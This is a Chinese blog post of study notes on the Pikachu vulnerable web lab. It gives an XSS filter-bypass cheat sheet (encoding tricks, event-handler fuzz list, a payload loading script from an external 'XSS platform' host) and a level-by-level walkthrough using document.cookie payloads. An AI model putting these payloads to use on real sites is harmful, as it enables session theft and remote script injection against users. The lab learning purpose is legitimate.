pikachu的xss及csrf

zXSS

可解析的js
未经过滤
XSS见框就插    
script 大小写  中间插入
<img src="" onerror="alert(11111)">
<iframe src=javascript:alert('xss');height=0 width=0 /></iframe>
编码绕过
不同的框可能不同过滤
svg可以被解析
上传图片然后做头像是用链接,可以换为xss

XSS漏洞探测:

XSS探针

我们可以在可插入到源代码中的位置输入
'';!‐‐"<XSS>=&{()}
测试 哪些代码被转义或者过滤

XSS检测常用语句

<script>alert(/xss/);</script>
<script>alert(/xss/)//
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>// 用分号,也可以分号+空格(回车一起使用)
<img src=1 onmouseover=alert(1)>
<a herf=1 onload=alert(1)>nmask</a>
Javascript:alert(document.cookie)
<script>window.a==1?1:prompt(a=1)</script>
<script>a=prompt;a(1)</script>
<img src=0 onerror=confirm('1')>

XSS Filter 绕过:

script被过滤

    改变大小写     <SCRIPT>alert("xss")</SCRIPT>
 
    嵌套<script>   <scr<script>ipt>alert("xss") </script> 
 
    <img src="" onerror="alert('xss')"> 或者 <img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")) .src="xss平台提供的js语句"> 
 
    <iframe>代替<script> <iframe src=javascript:alert('xss');height=0 weight=0 /></iframe>
    <iframe width="0px" height="0px" src="data:text/html;base64,将XSS平台提供的js编码成base64格式(注意:包括了script标签)"></iframe> 例如将<script src=http://123123123.com></script> 编码
得到下列语句
<iframe width="0px" height="0px" src="data:text/html;base64,asd4s2f/asf+a123=="></iframe>

alert被过滤

    <img>标签代替alert
        被编码内容:alert('xss')  编码方式:JS+base16编码
        <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")> </img>

利用函数加密

    JS+base16加密  
格式:<script>eval("js+16进制加密")</script> 
编码格式:js+16进制加密 被编码内容:alert('js+base16') 编码后内容: \x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73\x65\x31\x36\x27\x29 
实际语句:<script>eval(“alert('js+base16')”)</script> 
插入语句:<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x6a\x73\x2b\x62\x61\x73 \x65\x31\x36\x27\x29")</script>
 
    unicode加密
 格式:<script>eval("unicode加密")</script> 
编码格式:unicode加密 
被编码内容:alert('unicode') 编码后内容:\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u006e\u0069\u0063 \u006f\u0064\u0065\u0027\u0029
实际语句:<script>eval(“alert('unicode')”)</script>
插入语句:<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0075\u00 6e\u0069\u0063\u006f\u0064\u0065\u0027\u0029")</script>
 
    String.fromCharCod加密
格式:<script>eval(String.fromCharCode(编码))</script> 
函数:String.fromCharCode 
编码格式:String.fromCharCode 
被编码内容: alert('String.fromCharCode') 
编码后内容: String.fromCharCode(97,108,101,114,116,40,39,83,116,114,105,110,103,46 ,102,114,111,109,67,104,97,114,67,111,100,101,39,41)
实际语句:<script>eval(“String.fromCharCode”)</script> 
插入语句: <script>eval(String.fromCharCode(97,108,101,114,116,40,39,83,116,114,1 05,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,39,41)) </script> 
    data协议 作用:隐藏标签、保护标签!!!
 格式:<object data="data:text/html;base64,我们的完整语句"> </object>
        被编码内容:<script>alert('data protocol')</script>
        被编码内容:<script>alert('data protocol')</script>
          实际作用语句:<script>alert('data protocol')</script> 
        插入语句:<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgnZGF0YSBwcm90b2NvbCcpPC 9zY3JpcHQ+"></object>
 
对属性内容的编码绕过:
对于过滤不太严格的这类富文本编辑器,我们大概的思路就是:
01.找出可利用的标签,通常有一些不引起注意的embed、object等,还有嵌入式的标记 语言svg、math等,而且img、a等一般也是不会过滤的。
02.找出可利用属性。onmouse系列、onerror、style等。
03.找出一个没被过滤的标签+属性组合(好是容易触发的),利用编码等方式绕过一 些其他过滤,终得到POC。
如下列出一些可用的关键字,可以借助黑盒的方式测试一遍,看看哪些过滤了哪些没过 滤,类似于fuzz。
img onAbort onActivate onAfterPrint onAfterUpdate onBeforeActivate onBeforeCopy onBeforeCut onBeforeDeactivate onBeforeEditFocus onBeforePaste onBeforePrint onBeforeUnload onBeforeUpdate onBegin onBlur onBounce onCellChange onChange onClick onContextMenu onControlSelect onCopy onCut onDataAvailable onDataSetChanged onDataSetComplete onDblClick onDeactivate onDrag onDragEnd onDragLeave onDragEnter onDragOver onDragDrop onDragStart onDrop onEnd onError onErrorUpdate onFilterChange onFinish onFocus onFocusIn onFocusOut onHashChange onHelp onInput onKeyDown onKeyPress onKeyUp onLayoutComplete onLoad onLoseCapture onMediaComplete onMediaError onMessage onMouseDown onMouseEnter onMouseLeave onMouseMove onMouseOut onMouseOver onMouseUp onMouseWheel onMove onMoveEnd onMoveStart onOffline onOnline onOutOfSync onPaste onPause onPopState onProgress onPropertyChange onReadyStateChange onRedo onRepeat onReset onResize onResizeEnd onResizeStart onResume onReverse onRowsEnter onRowExit onRowDelete onRowInserted onScroll onSeek onSelect onSelectionChange
onSelectStart onStart onStop onStorage onSyncRestored onSubmit onTimeError onTrackChange onUndo onUnload onURLFli formaction action href xlink:href autofocus src content data from values to style
利用伪协议: 伪协议,类似<a href=javascript:xxxx>呵呵</a>,href后面是可以跟着伪协议的,比如javascript协议。 在这里就可以借助它来完成通用型xss。

1.反射性XSS(GET)

输入kobe点submit发现,浏览器的url发生变化,确定为get传参的反射性
 
接下来进行测试将kobe改为js     <script>alert(document.cookie)</script>
弹窗成功,此处含有get传参的反射性xss且无过滤

2.反射性XSS(POST)

输入kobe点submit发现,浏览器的url未发生变化,确定为post传参的反射性xss
接下来进行测试将kobe改为js    <script>alert(document.cookie)</script>
弹窗成功,此处含有post传参的反射性xss且无过滤
3.存储型xss
测试xss,往留言板里提交  <script>alert(document.cookie)</script>
点击提交,之后可以看到下面的留言列表多了一个删除按钮,并且直接弹出cookie,说明存储型xss存在且无过滤。

 

4.dom型xss
按F12查看审查元素,按Ctrl+Shift+C然后点击click me!按钮定位函数

 

这个函数为
测试一下输入1
在下面出现了一个 <a href="1">what do you see?</a>标签,尝试闭合
构造payload  '><img src="#" onmouseover="alert(document.cookie)">
提交之后在下面会出现一个图片标识,当鼠标滑过就会弹出cookie
5.dom型xss-x
同理按F12查看审查元素,按Ctrl+Shift+C然后点击button 定位函数

 

domxss()函数与上一个不同
这次是先进行get传参,然后domxss()获取get传参,然后新建一个href标签,其他与之前的dom型xss相同,使用上一次的payload   '><img src="#" onmouseover="alert(document.cookie)">
结果如下
6.xss之盲打
同上,先查看审查元素,结果发现这个为post提交表单。测试一下。
进入后台查看
从审查元素上看,可以发现此xss不用闭合,直接插入 <script>alert(document.cookie)</script>即可
进入后台发现直接弹窗
7.xss之过滤
测试 <script>alert(document.cookie)</script>发现返回结果有 >,应该是 <script被过滤,
换一下payload,使用 <a herf=1 onclick="alert('xss')">
 
点击herf 发现弹出cookie
8.xss之htmlspecialchars
题目可以看到过滤函数。
此时1发现1被拼接到<a href标签里
但是该函数把预定义的字符转换为 HTML 实体,预定义的字符是 & " ' < > 这五个,即转化为 &#xxx的形式
关于flags:默认情况下为只过滤双引号,若设置为ENT_QUOTES则单双引号均被过滤
所以我们可以利用 '来绕过
构造payload     ' onclick='alert(document.cookie)'
点击弹出cookie
9.xss之href输出
利用

 

发现  ‘ 被html实体编码了,所以我们可以利用其他方法 ,但经过测试, <也被编码,也就是说这次应该还是htmlspecialchars函数只不过连 ' 也过滤了,所以我们可以利用在文章头提到的一下绕过姿势
Javascript:alert(document.cookie)
绕过成功
11.xss之js输出
同上测试,先输入kobe试一下。
在审查元素中查找上述位置
很明显,我们需要闭合这个js语句
$ms = '    +   payload   +    '
所以我们构造 payload 为  1111111'</script><script>alert(document.cookie)</script>//
弹cookie成功

猜你喜欢

转载自www.cnblogs.com/p201721410013/p/12047724.html